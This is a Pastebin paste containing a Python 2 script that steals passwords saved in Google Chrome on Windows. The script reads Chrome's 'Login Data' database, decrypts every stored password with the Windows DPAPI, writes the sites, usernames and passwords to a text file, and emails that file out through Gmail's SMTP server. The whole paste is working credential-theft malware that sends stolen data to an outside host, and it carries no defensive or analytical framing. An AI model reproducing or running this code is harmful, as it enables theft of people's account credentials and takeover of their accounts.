Guest User

Untitled

a guest
Oct 15th, 2016
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.41 KB | None | 0 0
  1. from os import getenv
  2. import sqlite3
  3. import win32crypt
  4.  
  5. import sys
  6. f = open("passwords.txt", "w")
  7.  
  8. # Connect to the Database
  9. conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
  10. cursor = conn.cursor()
  11. # Get the results
  12. cursor.execute('SELECT action_url, username_value, password_value FROM logins')
  13. for result in cursor.fetchall():
  14. # Decrypt the Password
  15. password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
  16. if password:
  17.  
  18. print >>f, 'Site: ' + result[0]
  19. print >>f, 'Username: ' + result[1]
  20. print >>f, 'Password: ' + password
  21.  
  22. f.close()
  23.  
  24. #Note: End of password decrypting
  25.  
  26. #Note: Start emailing
  27.  
  28. import smtplib
  29. import mimetypes
  30. from email.mime.multipart import MIMEMultipart
  31. from email import encoders
  32. from email.message import Message
  33. from email.mime.audio import MIMEAudio
  34. from email.mime.base import MIMEBase
  35. from email.mime.image import MIMEImage
  36. from email.mime.text import MIMEText
  37. import os
  38.  
  39. #Note: Your Email Account
  40. emailfrom = "youremail"
  41. emailto = "youremail"
  42. fileToSend = "passwords.txt"
  43. user = "youremail"
  44. password = "pass"
  45.  
  46. #Note: Email Subject Ect.
  47.  
  48. msg = MIMEMultipart()
  49. msg["From"] = emailfrom
  50. msg["To"] = emailto
  51. msg["Subject"] = "Passwords ;^)"
  52. msg.preamble = "Passwords yay! :)"
  53.  
  54. ctype, encoding = mimetypes.guess_type(fileToSend)
  55. if ctype is None or encoding is not None:
  56. ctype = "application/octet-stream"
  57.  
  58. maintype, subtype = ctype.split("/", 1)
  59.  
  60. if maintype == "text":
  61. fp = open(fileToSend)
  62. # Note: we should handle calculating the charset
  63. attachment = MIMEText(fp.read(), _subtype=subtype)
  64. fp.close()
  65. elif maintype == "image":
  66. fp = open(fileToSend, "rb")
  67. attachment = MIMEImage(fp.read(), _subtype=subtype)
  68. fp.close()
  69.  
  70. elif maintype == "audio":
  71. fp = open(fileToSend, "rb")
  72. attachment = MIMEAudio(fp.read(), _subtype=subtype)
  73. fp.close()
  74. else:
  75. fp = open(fileToSend, "rb")
  76. attachment = MIMEBase(maintype, subtype)
  77. attachment.set_payload(fp.read())
  78. fp.close()
  79. encoders.encode_base64(attachment)
  80. attachment.add_header("Content-Disposition", "attachment", filename=fileToSend)
  81. msg.attach(attachment)
  82.  
  83. server = smtplib.SMTP("smtp.gmail.com:587")
  84. server.starttls()
  85. server.login(user,password)
  86. server.sendmail(emailfrom, emailto, msg.as_string())
  87. server.quit()
  88.  
  89. print ("Completed Process")
Add Comment
Please, Sign In to add comment